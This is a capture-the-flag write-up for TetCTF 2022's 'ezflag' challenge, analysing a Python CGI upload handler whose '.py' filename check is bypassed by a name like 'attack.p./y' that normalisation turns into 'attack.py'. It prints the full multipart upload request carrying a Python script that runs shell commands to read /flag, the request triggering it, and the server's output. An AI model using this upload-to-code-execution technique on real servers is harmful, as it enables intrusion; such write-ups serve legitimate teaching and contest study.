Tags: python cgi 

Rating: 5.0

The full detailed writeup including part 2 is at https://nandynarwhals.org/tetctf-2022-ezflag/.

Unpacking the tar file provided yields the following web application deployment files:

```console
$ tar xvf ezflag_109ff451f9d11258d01594c77aae131c.tar.gz
x ezflag/conf/
x ezflag/conf/lighttpd.conf
x ezflag/conf/nginx-site.conf
x ezflag/www/
x ezflag/www/html/
x ezflag/www/cgi-bin/
x ezflag/www/upload/
x ezflag/www/upload/shell.py
x ezflag/www/cgi-bin/upload.py
x ezflag/www/html/upload.html
```

The `upload.py` file implements the main web application logic through CGI. Breaking it up, we have
the main function that performs basic authentication check and if it passes, dispatches to the right
handler.

```python
#!/usr/bin/env python3

import os
import cgi
import base64
import socket

def write_header(key, value) -> None:
print('{:s}: {:s}'.format(key, value))

def write_status(code, msg) -> None:
print('Status: {:d} {:s}'.format(code, msg), end='\n\n')

def write_location(url) -> None:
print('Location: {:s}'.format(url), end='\n\n')

...

if __name__ == '__main__':
if not check_auth():
write_header('WWW-Authenticate', 'Basic')
write_status(401, 'Unauthorized')
else:
method = os.environ.get('REQUEST_METHOD')
if method == 'POST':
handle_post()
elif method == 'GET':
handle_get()
else:
write_status(405, 'Method Not Allowed')

```

The basic authentication check parses the header and then forwards the `username` and `password` as
newline terminated strings to a server listening on port `4444` on the remote localhost. It checks
if the first byte sent back is a `'Y'`. We are given the username and password of `admin:admin` so
we'll just use these credentials for now.

```python
def check_auth() -> bool:
auth = os.environ.get('HTTP_AUTHORIZATION')
if auth is None or len(auth) < 6 or auth[0:6] != 'Basic ':
return False
auth = auth[6:]
try:
data = base64.b64decode(auth.strip().encode('ascii')).split(b':')
if len(data) != 2:
return False
username = data[0]
password = data[1]
if len(username) > 8 or len(password) > 16:
return False
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 4444))
s.settimeout(5)
s.send(username + b'\n' + password + b'\n')
result = s.recv(1)
s.close()
if result == b'Y':
return True
return False
except:
return False
```

The `GET` handler is simple, it just prints the contents of an `upload.html` HTML file in the
response.

```python
def handle_get() -> None:
with open('../html/upload.html', 'rb') as f:
dat = f.read()

write_header('Content-Type', 'text/html')
write_header('Content-Length', str(len(dat)))
write_status(200, 'OK')
print(dat.decode('utf-8'), end=None)

```

The `POST` handler is more interesting. It allows for the writing of an arbitrary file to an
`upload` directory with some constraints on the filename. It checks for the existence of `..` or
`.py` in the filename and rejects it if found. Additionally, it also 'normalises' the filename by
removing all occurrences of `'./'`.

```python
def valid_file_name(name) -> bool:
if len(name) == 0 or name[0] == '/':
return False
if '..' in name:
return False
if '.py' in name:
return False
return True

def handle_post() -> None:
fs = cgi.FieldStorage()
item = fs['file']
if not item.file:
write_status(400, 'Bad Request')
return
if not valid_file_name(item.filename):
write_status(400, 'Bad Request')
return
normalized_name = item.filename.strip().replace('./', '')
path = ''.join(normalized_name.split('/')[:-1])
os.makedirs('../upload/' + path, exist_ok=True)
with open('../upload/' + normalized_name, 'wb') as f:
f.write(item.file.read())
write_location('/uploads/' + normalized_name)

```

Assuming we want to be able to write `.py` files, we can abuse the normalisation process to
transform the filename to one that ends with `.py` after the check occurs. For example:

```python
In [486]: name = "attack.p./y"
...: assert ".py" not in name
...: normalized_name = name.strip().replace('./', '')
...: assert ".py" in normalized_name
...: print(normalized_name)
attack.py
```

If we look in `nginx-site.conf`, we can see that the `/upload/` directory that we can upload files
to is mapped to the `/uploads/` path on the web server.

```
server {
listen 80;
listen [::]:80;

location / {
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_pass http://127.0.0.1:8080/cgi-bin/upload.py;
}

location /uploads/ {
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_pass http://127.0.0.1:8080/uploads/;
}
}
```

Within the `lighttpd.conf` configuration file, we can see that `.py` files are executed with the
`/usr/bin/python3` interpreter with CGI. Thus, if we write a `.py` file, we can simply visit the
path and it should execute our arbitrary code.

```
...
alias.url += ( "/cgi-bin" => "/var/www/cgi-bin" )
alias.url += ( "/uploads" => "/var/www/upload" )
cgi.assign = ( ".py" => "/usr/bin/python3" )
```

Putting this together, we can create our exploit python script on the server with the following
`POST` request, including the `admin:admin` basic authentication header.

```
POST / HTTP/1.1
Host: 18.191.117.63:9090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------27015668151794350363716216349
Content-Length: 315
Origin: http://18.191.117.63:9090
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Referer: http://18.191.117.63:9090/
Upgrade-Insecure-Requests: 1

-----------------------------27015668151794350363716216349
Content-Disposition: form-data; name="file"; filename="amon_34123.p./y"
Content-Type: application/octet-stream

#!/usr/bin/env python3

import os
print(os.system("ls -la /;cat /flag"))

-----------------------------27015668151794350363716216349--

```

Next, to trigger the script, we just simply visit the `/uploads/amon_34123.py` script path.

```
GET /uploads/amon_34123.py HTTP/1.1
Host: 18.191.117.63:9090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Upgrade-Insecure-Requests: 1

```

In the response, we can see that the `flag` as well as some other interesting file such as `flag2`
and `auth` are located at the `/` path. We also obtain our first flag.

```
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 01 Jan 2022 06:58:00 GMT
Content-Length: 1636
Connection: close

total 864
drwxr-xr-x 1 root root 4096 Jan 1 00:06 .
drwxr-xr-x 1 root root 4096 Jan 1 00:06 ..
-rwxr-xr-x 1 root root 0 Jan 1 00:06 .dockerenv
-r-xr--r-- 1 daemon daemon 802768 Dec 31 22:39 auth
lrwxrwxrwx 1 root root 7 Oct 6 16:47 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Apr 15 2020 boot
drwxr-xr-x 5 root root 340 Jan 1 03:44 dev
drwxr-xr-x 1 root root 4096 Jan 1 00:06 etc
-r--r--r-- 1 root root 41 Jan 1 00:03 flag
-r-------- 1 daemon daemon 41 Jan 1 00:03 flag2
drwxr-xr-x 2 root root 4096 Apr 15 2020 home
lrwxrwxrwx 1 root root 7 Oct 6 16:47 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Oct 6 16:47 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Oct 6 16:47 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Oct 6 16:47 libx32 -> usr/libx32
drwxr-xr-x 2 root root 4096 Oct 6 16:47 media
drwxr-xr-x 2 root root 4096 Oct 6 16:47 mnt
drwxr-xr-x 2 root root 4096 Oct 6 16:47 opt
dr-xr-xr-x 995 root root 0 Jan 1 03:44 proc
drwx------ 1 root root 4096 Jan 1 03:40 root
drwxr-xr-x 1 root root 4096 Jan 1 00:06 run
-rwxr-xr-x 1 1000 1000 189 Dec 31 15:29 run.sh
lrwxrwxrwx 1 root root 8 Oct 6 16:47 sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 Oct 6 16:47 srv
dr-xr-xr-x 13 root root 0 Jan 1 03:44 sys
drwxrwxrwt 1 root root 4096 Jan 1 06:57 tmp
drwxr-xr-x 1 root root 4096 Jan 1 00:05 usr
drwxr-xr-x 1 root root 4096 Jan 1 00:05 var
TetCTF{65e95f4eacc1fe7010616e051f1c610a}
0

```

**Flag:** `TetCTF{65e95f4eacc1fe7010616e051f1c610a}`

Original writeup (https://nandynarwhals.org/tetctf-2022-ezflag/).